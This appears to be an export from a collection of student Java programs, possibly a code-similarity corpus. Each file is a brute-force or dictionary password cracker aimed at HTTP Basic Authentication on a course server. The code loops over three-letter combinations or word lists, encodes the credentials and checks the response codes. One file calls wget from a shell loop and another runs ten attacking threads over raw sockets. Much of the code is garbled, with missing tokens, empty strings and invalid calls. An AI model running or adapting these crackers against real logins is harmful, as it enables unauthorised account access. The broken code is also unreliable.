System.out.println("" [custom] e.g. aAbB123"");
System.out.println("" , : (optional) range of characters applied in the cracking"");
System.out.println("" where 1 <= <= 10 (default = 1)"");
System.out.println("" <= <= 10 (default = 3)"");
System.out.println("" username : (optional) the username that is used crack"");
System.out.println();
System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'"");
System.out.println("" have specified altogether none at all."");
System.out.println("" For example, if [charset] is specified, then [], [], and"");
System.out.println("" [username] have specified as well. If none of them specified,"");
System.out.println("" default values used."");
System.out.println();
System.out.println("" Example of invocation :"");
System.out.println("" java BruteForce "");
System.out.println("" java BruteForce 0"");
System.out.println("" java BruteForce 1 http://localhost/tryme.php"");
System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 "");
System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println(""Syntax error : invalid mode '""+args[0]+""'"");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println(""Syntax error : invalid number '""+args[0]+""'"");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println(""Unable open connection the URL '""+args[1]+""'"");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println(""Invalid URL '""+args[1]+""'"");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println(""Invalid range number value '""+args[3]+""'"");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println(""Invalid range number value '""+args[4]+""'"");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)"");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)"");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)"");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals(""-"")) {
charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
} else
if (args[2].toLowerCase().equals(""-alphanum"")) {
charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"";
} else
if (args[2].toLowerCase().equals(""-alphalow"")) {
charset = ""abcdefghijklmnopqrstuvwxyz"";
} else
if (args[2].toLowerCase().equals(""-alphaup"")) {
charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ"";
} else
if (args[2].toLowerCase().equals(""-number"")) {
charset = ""1234567890"";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all"");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println(""The number of parameters expected is not more than 6. "");
System.out.println("" have specified more than 6 parameters."");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = ""-"";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
public static boolean isenhanced;
public static String passw = """";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = """";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
" 064.java
086.java "import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempts);
break exit;
}
inp[2] = """";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "242.java 222.java"
047.java "import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
class Dictionary {
private String password="""";
private int num=401;
public static void main(String[] args) {
Dictionary URLcon;
int length = 0;
String passwd="""";
int t0,t1;
String line ="""";
if (args.length == 0) {
System.err.println (
""Usage : java BruteForce <username>"");
return;
}
String username = args[0];
t0=System.currentTimeMillis();
System.out.println ("" "" + new Date());
System.out.println (""Using Dictionary method attack ""+username+""'s password. Please waiting......."");
try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
while ((passwd=in.readLine())!=null) {
URLcon = new Dictionary (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println(""The password: ""+ passwd);
double dt =t1-t0;
System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds"");
System.out.println (""Finish "" + new Date());
return;
}
}
}catch (FileNotFoundException e){
System.out.println(e);
}catch (IOException e){
System.out.println(e);
}
System.out.println("" not find the password"");
}
public Dictionary (String password,String username) {
String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ;
try {
String userPassword = username+"":""+password ;
String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestProperty (""Authorization"", "" "" + encoding);
url = uc.getResponseCode();
}
catch(MalformedURLException e){
System.out.println(e);
}catch(IOException e){
System.out.println(e);
}
}
}" 045.java
258.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +"":""+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "257.java 048.java 185.java 059.java 183.java"
087.java "import java.net.*;
import java.io.*;
import java.*;
public class Dictionary {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
File file = new File(""words"");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {
if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {
System.err.println(""File not found: "" + file);
} catch (IOException e2) {
e2.printStackTrace();
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "243.java 155.java 242.java"
183.java "
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
public class BruteForce extends Frame implements ActionListener {
private TextField tf = new TextField();
private TextArea ta = new TextArea();
public void actionPerformed (ActionEvent e) {
String s = tf.getText();
String login="""";
if (s.length() != 0)
{
char symbol = 'A';
login="":"";
for(int i = 0; i < 3; i++)
{
symbol = (char)(57.0 * Math.random() + 65);
if(symbol>90 && symbol<97){
i--;
continue;
}
login=login+symbol;
}
ta.setText (fetchURL (s,login));
System.out.println(""runing""+login);
}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0);
System.out.println(""The password is: ""+login);
}
public BruteForce() {
super (""SEC-CRACK"");
add (tf, BorderLayout.LEFT);
ta.setEditable(false);
add (ta, BorderLayout.CENTER);
tf.addActionListener (this);
addWindowListener (new WindowAdapter() {
public void windowClosing (WindowEvent e) {
dispose();
System.exit(0);
}
});
}
private String fetchURL (String urlString,String login) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try {
URL url = new URL (urlString);
String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty (""Authorization"", "" "" + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
}
} catch (MalformedURLException e) {
pw.println (""Invalid URL"");
} catch (IOException e) {
pw.println (""Error URL"");
}
return sw.toString();
}
public static void main(String args[]) {
Frame f = new BruteForce();
f.setSize(300, 300);
f.setVisible (true);
}
}
class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "051.java 185.java 048.java 258.java"
008.java "
import java.io.*;
import java.*;
public class BruteForce
{
public static void main(String args[])
{
String s = null;
String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
String password = null;
int len = 0;
int num_tries = 0;
len = alphabets.length();
for (int i=0; i<len; i++)
{
for (int j=0; j<len; j++)
{
for (int k=0; k<len; k++)
{
try
{
password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
System.out.print(alphabets.charAt(i));
System.out.print(alphabets.charAt(j));
System.out.println(alphabets.charAt(k));
Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println(""**********PASSWORD IS: "" + password);
System.out.println(""**********NUMBER OF TRIES: "" + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println(""exception happened - here's what I know: "");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
" 010.java
048.java "import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
import java.net.HttpURLConnection;
public class BruteForce
{
String uname = """";
String pword = ""null"";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String cad = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + "":"" + pword;
String encoding;
try
{
secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty (""Authorization"", "" "" + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
httpCon.disconnect();
doConnect(uname, i+1);
}
else
{
System.out.println(""\n\n\nPassword for HTTP Secure Site By BruteForce Attack"");
System.out.println( +""\tPassword : ""+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
makePasswords mp = new makePasswords();
mp.makePass();
mp.loadFile();
v = mp.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int time_taken)
{
runTime = time_taken;
}
public static void main( String args[] ) throws IOException
{
try
{
runTime1 = System.currentTimeMillis();
BruteForce newDo = new BruteForce();
newDo.setTimeTaken(runTime1);
newDo.getPassword();
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
newDo.doConnect(site, 0);
}catch(Exception ex)
{
System.out.println(""Errrrrrrr"");
}
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "258.java 257.java 051.java 183.java"
084.java "
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + """" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+"")"");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec."");
System.out.println(""Thread . "" + threadno + "" was the one!"");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println(""Usage: BruteForce <host> <path> <user>"");
System.out.println("" arguments specified, using standard values."");
host = ""sec-crack.cs.rmit.edu."";
path = ""/SEC/2/index.php"";
user = """";
}
System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user);
System.out.println(""Using "" + attackslaves.length + "" happy threads..."");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + "":"" + password).getBytes());
output.write(new String(""GET "" + path + "" HTTP/1.0\r\n"").getBytes());
output.write(new String(""Authorization: "" + base + ""\r\n\r\n"").getBytes());
input.print(data);
if(new String(data).endsWith(""401"")) success=0;
if(new String(data).endsWith(""200"")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + "": "" + e.getMessage());
}
return success;
}
}" 085.java
119.java "
import java.util.*;
public class Dictionary {
private String strUsername;
private String strURL;
public Dictionary(String username, String url)
{
strUsername = username;
strURL = url;
}
public void run() {
Date dtStart, dtEnd;
PasswordFile pwd = new PasswordFile(""/usr/dict/words"");
PasswordTest tester;
int i=1;
boolean bDone = false;
Result res;
dtStart = new Date();
while(!bDone) {
tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
bDone = tester;
i++;
if(bDone) {
res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
System.out.print(res.toString());
}
else
{
}
if(pwd.getPassword() == null)
{
System.out.println(""Exhausted word file without finding password"");
bDone = true;
}
}
}
public static void main(String[] args) {
Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/"");
dict.run();
}
}
" 117.java
